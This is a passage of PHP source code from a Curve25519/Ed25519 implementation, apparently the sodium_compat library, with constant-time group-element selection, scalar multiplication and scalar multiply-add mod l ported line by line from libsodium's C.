ge25519_cmov_cached(t, &cached[0], equal(babs, 1)); // ge25519_cmov_cached(t, &cached[1], equal(babs, 2)); // ge25519_cmov_cached(t, &cached[2], equal(babs, 3)); // ge25519_cmov_cached(t, &cached[3], equal(babs, 4)); // ge25519_cmov_cached(t, &cached[4], equal(babs, 5)); // ge25519_cmov_cached(t, &cached[5], equal(babs, 6)); // ge25519_cmov_cached(t, &cached[6], equal(babs, 7)); // ge25519_cmov_cached(t, &cached[7], equal(babs, 8)); for ($x = 0; $x < 8; ++$x) { $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1)); } // fe25519_copy(minust.YplusX, t->YminusX); // fe25519_copy(minust.YminusX, t->YplusX); // fe25519_copy(minust.Z, t->Z); // fe25519_neg(minust.T2d, t->T2d); $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_copy($t->YminusX), self::fe_copy($t->YplusX), self::fe_copy($t->Z), self::fe_neg($t->T2d) ); return self::ge_cmov_cached($t, $minust, $bnegative); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); /** @var int $i */ foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2]) ); } } } /** @var array> $base */ if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, $bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_sub( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); /** @var array $Bi */ static $Bi = array(); if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2]) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u); # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u); # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u); # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u); # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u); for ($i = 0; $i < 7; ++$i) { $t = self::ge_add($A2, $Ai[$i]); $u = self::ge_p1p1_to_p3($t); $Ai[$i + 1] = self::ge_p3_to_cached($u); } # ge_p2_0(r); $r = self::ge_p2_0(); # for (i = 255;i >= 0;--i) { # if (aslide[i] || bslide[i]) break; # } $i = 255; for (; $i >= 0; --$i) { if ($aslide[$i] || $bslide[$i]) { break; } } # for (;i >= 0;--i) { for (; $i >= 0; --$i) { # ge_p2_dbl(&t,r); $t = self::ge_p2_dbl($r); # if (aslide[i] > 0) { if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u,&t); # ge_add(&t,&u,&Ai[aslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_add( $u, $Ai[(int) floor($aslide[$i] / 2)] ); # } else if (aslide[i] < 0) { } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u,&t); # ge_sub(&t,&u,&Ai[(-aslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_sub( $u, $Ai[(int) floor(-$aslide[$i] / 2)] ); } # if (bslide[i] > 0) { if ($bslide[$i] > 0) { /** @var int $index */ $index = (int) floor($bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_madd(&t,&u,&Bi[bslide[i]/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_madd($t, $u, $Bi[$index]); # } else if (bslide[i] < 0) { } elseif ($bslide[$i] < 0) { /** @var int $index */ $index = (int) floor(-$bslide[$i] / 2); # ge_p1p1_to_p3(&u,&t); # ge_msub(&t,&u,&Bi[(-bslide[i])/2]); $u = self::ge_p1p1_to_p3($t); $t = self::ge_msub($t, $u, $Bi[$index]); } # ge_p1p1_to_p2(r,&t); $r = self::ge_p1p1_to_p2($t); } return $r; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult($a, $p) { $e = array_fill(0, 64, 0); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */ $pi = array(); // ge25519_p3_to_cached(&pi[1 - 1], p); /* p */ $pi[0] = self::ge_p3_to_cached($p); // ge25519_p3_dbl(&t2, p); // ge25519_p1p1_to_p3(&p2, &t2); // ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */ $t2 = self::ge_p3_dbl($p); $p2 = self::ge_p1p1_to_p3($t2); $pi[1] = self::ge_p3_to_cached($p2); // ge25519_add_cached(&t3, p, &pi[2 - 1]); // ge25519_p1p1_to_p3(&p3, &t3); // ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */ $t3 = self::ge_add($p, $pi[1]); $p3 = self::ge_p1p1_to_p3($t3); $pi[2] = self::ge_p3_to_cached($p3); // ge25519_p3_dbl(&t4, &p2); // ge25519_p1p1_to_p3(&p4, &t4); // ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */ $t4 = self::ge_p3_dbl($p2); $p4 = self::ge_p1p1_to_p3($t4); $pi[3] = self::ge_p3_to_cached($p4); // ge25519_add_cached(&t5, p, &pi[4 - 1]); // ge25519_p1p1_to_p3(&p5, &t5); // ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */ $t5 = self::ge_add($p, $pi[3]); $p5 = self::ge_p1p1_to_p3($t5); $pi[4] = self::ge_p3_to_cached($p5); // ge25519_p3_dbl(&t6, &p3); // ge25519_p1p1_to_p3(&p6, &t6); // ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */ $t6 = self::ge_p3_dbl($p3); $p6 = self::ge_p1p1_to_p3($t6); $pi[5] = self::ge_p3_to_cached($p6); // ge25519_add_cached(&t7, p, &pi[6 - 1]); // ge25519_p1p1_to_p3(&p7, &t7); // ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */ $t7 = self::ge_add($p, $pi[5]); $p7 = self::ge_p1p1_to_p3($t7); $pi[6] = self::ge_p3_to_cached($p7); // ge25519_p3_dbl(&t8, &p4); // ge25519_p1p1_to_p3(&p8, &t8); // ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */ $t8 = self::ge_p3_dbl($p4); $p8 = self::ge_p1p1_to_p3($t8); $pi[7] = self::ge_p3_to_cached($p8); // for (i = 0; i < 32; ++i) { // e[2 * i + 0] = (a[i] >> 0) & 15; // e[2 * i + 1] = (a[i] >> 4) & 15; // } for ($i = 0; $i < 32; ++$i) { $e[($i << 1) ] = self::chrToInt($a[$i]) & 15; $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15; } // /* each e[i] is between 0 and 15 */ // /* e[63] is between 0 and 7 */ // carry = 0; // for (i = 0; i < 63; ++i) { // e[i] += carry; // carry = e[i] + 8; // carry >>= 4; // e[i] -= carry * ((signed char) 1 << 4); // } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } // e[63] += carry; // /* each e[i] is between -8 and 8 */ $e[63] += $carry; // ge25519_p3_0(h); $h = self::ge_p3_0(); // for (i = 63; i != 0; i--) { for ($i = 63; $i != 0; --$i) { // ge25519_cmov8_cached(&t, pi, e[i]); $t = self::ge_cmov8_cached($pi, $e[$i]); // ge25519_add_cached(&r, h, &t); $r = self::ge_add($h, $t); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); // ge25519_p1p1_to_p2(&s, &r); // ge25519_p2_dbl(&r, &s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); // ge25519_p1p1_to_p3(h, &r); /* *16 */ $h = self::ge_p1p1_to_p3($r); /* *16 */ } // ge25519_cmov8_cached(&t, pi, e[i]); // ge25519_add_cached(&r, h, &t); // ge25519_p1p1_to_p3(h, &r); $t = self::ge_cmov8_cached($pi, $e[0]); $r = self::ge_add($h, $t); return self::ge_p1p1_to_p3($r); } /** * @internal You should not use this directly from another application * * @param string $a * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function ge_scalarmult_base($a) { /** @var array $e */ $e = array(); $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); for ($i = 0; $i < 32; ++$i) { $dbl = (int) $i << 1; $e[$dbl] = (int) self::chrToInt($a[$i]) & 15; $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15; } $carry = 0; for ($i = 0; $i < 63; ++$i) { $e[$i] += $carry; $carry = $e[$i] + 8; $carry >>= 4; $e[$i] -= $carry << 4; } $e[63] += (int) $carry; $h = self::ge_p3_0(); for ($i = 1; $i < 64; $i += 2) { $t = self::ge_select((int) floor($i / 2), (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } $r = self::ge_p3_dbl($h); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $s = self::ge_p1p1_to_p2($r); $r = self::ge_p2_dbl($s); $h = self::ge_p1p1_to_p3($r); for ($i = 0; $i < 64; $i += 2) { $t = self::ge_select($i >> 1, (int) $e[$i]); $r = self::ge_madd($r, $h, $t); $h = self::ge_p1p1_to_p3($r); } return $h; } /** * Calculates (ab + c) mod l * where l = 2^252 + 27742317777372353535851937790883648493 * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @param string $c * @return string * @throws TypeError */ public static function sc_muladd($a, $b, $c) { $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); $c0 = 2097151 & self::load_3(self::substr($c, 0, 3)); $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5); $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2); $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7); $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4); $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1); $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6); $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3); $c8 = 2097151 & self::load_3(self::substr($c, 21, 3)); $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5); $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2); $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7); /* Can't really avoid the pyramid here: */ $s0 = $c0 + self::mul($a0, $b0, 24); $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24); $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24); $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24); $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) + self::mul($a4, $b0, 24); $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) + self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24); $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) + self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24); $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) + self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24); $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) + self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) + self::mul($a8, $b0, 24); $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) + self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) + self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24); $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) + self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) + self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24); $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) + self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) + self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24); $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) + self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) + self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24); $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) + self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) + self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24); $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) + self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) + self::mul($a11, $b3, 24); $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) + self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24); $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) + self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24); $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) + self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24); $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) + self::mul($a11, $b7, 24); $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24); $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24); $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24); $s22 = self::mul($a11, $b11, 24); $s23 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += 